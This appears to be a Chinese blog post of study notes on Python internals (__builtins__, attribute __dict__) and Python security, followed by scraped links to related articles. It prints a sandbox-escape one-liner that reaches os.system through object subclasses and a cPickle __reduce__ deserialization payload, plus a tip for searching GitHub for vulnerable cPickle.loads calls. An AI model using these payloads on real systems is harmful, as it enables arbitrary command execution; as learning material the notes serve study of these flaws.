0x01 简述

  文章主要记录一下python高级特性以及安全相关的问题

python作为脚本语言,其作为高级语言是由c语言开发的,关于python的编译和链接可以看向这里https://github.com/python/cpython(建议自己读读源码,可以更好的理解python的语言特性等。)

python标准库:

python标准库包含内置模块(有c语言实现,主要提供接入系统的基本功能,例如文件的IO),还有一些python实现的模块提供了类似于其它语言的一些标准解决方案。

python自带了内置库和第三方库的文档查看器:命令行输入:

python –m pydoc –p 8888

查看

内置模块(c语言实现)

内置模块(python实现)

第三方模块

python一般的package结构图

0x02 python的一些特性

1> __builtin__与__builtins__的区别与关系
python有一个内建模块,该模块会在python启动后,但在没有执行python代码前,会被加载到内存.即可用调用里面的函数,其中__builtin__只存在与python2.x中__builtins__在python2.x/3.x都有,是内建模块一个引用,与__builtin__相同的是也会一开始被先于程序加载到内存它们存在如下的区别:

1、在主模块main中,__builtins__是对内建模块__builtin__本身的引用,即__builtins__完全等价于__builtin__,二者完全是一个东西,不分彼此
2、非主模块main中,__builtins__仅是对__builtin__.__dict__的引用,而非__builtin__本身可以参考这篇文章: https://www.jianshu.com/p/645e97383c1f

2> 属性的__dict__

Python中的属性是分层定义的,当我们需要调用某个属性的时候,Python会一层层向上遍历,直到找到那个属性。(某个属性可能出现在不同的层被重复定义,Python向上的过程中,会选取先遇到的那一个,也就是比较低层的属性定义)。

下面用张图展示一下其中的关系

例如下面的代码:

class bird(object):
feather = True class chicken(bird):
fly = False
def __init__(self, age):
self.age = age
def eat(self):
print("eat")
class malechicken(object):
sex = "male" summer = chicken(2) print(bird.__dict__)
print(chicken.__dict__)
print(summer.__dict__)

输出:

/Library/Frameworks/Python.framework/Versions/3.5/bin/python3.5 /Users/m0rk/GitHub/Demo/request_debug.py
{'__doc__': None, '__module__': '__main__', '__weakref__': <attribute '__weakref__' of 'bird' objects>, '__dict__': <attribute '__dict__' of 'bird' objects>, 'feather': True}
{'__doc__': None, '__module__': '__main__', 'fly': False, 'malechicken': <class '__main__.chicken.malechicken'>, '__init__': <function chicken.__init__ at 0x1045e8488>, 'eat': <function chicken.eat at 0x1045e8598>}
{'age': 2} Process finished with exit code 0

可参考:

http://www.cnblogs.com/vamei/archive/2012/12/11/2772448.html

http://hbprotoss.github.io/posts/python-descriptor.html

0x03 python沙箱绕过

  最早的文章见这里https://hexplo.it/escaping-the-csawctf-python-sandbox/

rickgray 修改成更为通用的poc,文章见这里 http://rickgray.me/use-python-features-to-execute-arbitrary-codes-in-jinja2-templates

[x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('id')

0x04 反序列化漏洞

  同其它语言一样,python也有序列化的功能,官方库里提供了pickle/cPickle的库用于序列化和反序列化,这两个库的作用和使用方法都是一致的,只是一个用纯py实现,另一个用c实现。

python序列化的payload如下:

#!/usr/bin/env python
import cPickle
import os class exp(object):
def __reduce__(self):
ser = """put command here"""
return (os.system, (ser,)) e = exp()
ser = cPickle.dumps(e)

当有存在漏洞的系统反序列化我们的payload的时候,命令就执行了。

0x05 其它

  在这篇文章中 Python Pickle反序列化带来的安全问题(http://www.vuln.cn/8094) 作者提到了 请灵活使用google 即在google中搜索 cPickle.loads( site:github.com 既可寻找反序列化在现实中的应用,挺不错的,学习了

0x06 Reference

  1. https://github.com/bit4woo/python_sec

  2. Python Pickle反序列化带来的安全问题  http://www.vuln.cn/8094 

  3.python 正向连接后门 https://www.leavesongs.com/PYTHON/python-shell-backdoor.html 

Python的一些高级特性以及反序列化漏洞的更多相关文章

  1. Python:笔记(4)——高级特性

    Python:笔记(4)——高级特性 切片 取一个list或tuple的部分元素是非常常见的操作.Python提供了切片操作符,来完成部分元素的选取 除了上例简单的下标范围取元素外,Python还支持 ...

  2. Python面向对象编程高级特性

    ***这里还是根据网上资料,主要是廖雪峰老师的教程学习的笔记,主要介绍python面向对象的高级特性,笔记不全,只是记录自己觉得容易出错的地方*** 1.python作为一种动态语言,他的动态绑定机制 ...

  3. Python的一些高级特性

    内容基本上来自于廖雪峰老师的blog相当于自己手打了一遍,加强加强理解吧. http://www.liaoxuefeng.com/wiki/001374738125095c955c1e6d8bb493 ...

  4. python 9学习 高级特性

    高级特性 掌握了Python的数据类型.  语句      和函数,基本上就可以编写出很多有用的程序了. 比如构造一个1, 3, 5, 7, ..., 99的列表,可以通过循环实现: L = [] n ...

  5. python:函数的高级特性

    很多语言中,都允许把函数本身做为参数,传递给其它参数:即所谓的高阶函数.python中也有类似特性: 一.map/reduce.filter.sorted hadoop里的map-reduce思想在p ...

  6. Python中的高级特性

    1.切片.使用“[”和“]”即可,类似Matlab,可以切list,tuple,字符串等. 2.迭代.Python内置的enumerate函数可以把一个list变成索引-元素对. 3.列表生成式.列表 ...

  7. Python语言的高级特性

    函数式编程 基于lambda演算的一种编程方式 函数中只有函数 函数可以作为参数,同样可以作为返回值 纯函数式编程语言:LISP , Haskell python函数式编程只是借鉴函数式编程的一些特点 ...

  8. Python快速学习-高级特性

    1.切片 取一个list或tuple的部分元素是非常常见的操作 L = ['hello','the','world','and','my','love'] 取前三个元素 L[0:3],L[:3] 取倒 ...

  9. Python学习之高级特性

    切片 在Python基础篇里,我们知道Python的可序列对象可以通过索引号(下标)来引用对象元素,索引号可以由0开始从左向右依次获取,可以从-1开始由右向左获取.这种方法可以帮助我们依次获取我们想要 ...

随机推荐

  1. 获取OlapConnection连接

    目录: 1.获取org.olap4j.OlapConnection对象 2.获取mondrian.olap.Connection对象 一.org.olap4j.OlapConnection对象 说明: ...

  2. (转)postman安装及简单使用

    Postman安装与使用 2018-06-04 22:58 by 虫师, 46636 阅读, 10 评论, 收藏, 编辑 Postman一款非常流行的API调试工具.其实,开发人员用的更多.因为测试人 ...

  3. socket.io 出现的WebSocket is closed before the connection is established

    WebSocket is closed before the connection is established 最近socket.io是挺流行的,幼麟棋牌和一些好的开源项目也使用这个框架,在搭建其平 ...

  4. docker 不能访问外网

    如果之前docker能访问外网,现在不能访问, 同时宿主机可以访问外网,那就重启docker.

  5. sys系统模块

    import sys # print(0)## sys.exit(0)## print(123) # print(sys.version)# print(sys.maxsize)# print(sys ...

  6. php解决微信文章图片防盗链

    解决微信文章图片防盗链 function actionWechatImg() { header('Content-type: image/jpg'); $url = $_GET['url']; $re ...

  7. IP包头结构详解

    版本号(Version):长度4比特.标识目前采用的IP协议的版本号.一般的值为0100(IPv4),0110(IPv6) IP包头长度(Header Length):长度4比特.这个字段的作用是为了 ...

  8. 使用python对py文件程序代码复用度检查

    #!/user/bin/env python # @Time :2018/6/5 14:58 # @Author :PGIDYSQ #@File :PyCheck.py from os.path im ...

  9. Html,CSS和盒子

    Html指超文本标记语言(HyperText Markup Language)是一种用于创建网页的标准标记语言. CSS 指层叠样式表 (Cascading Style Sheets),样式定义如何显 ...

  10. 简述layui前端ui框架的使用

    官方网址:https://www.layui.com/demo/upload.html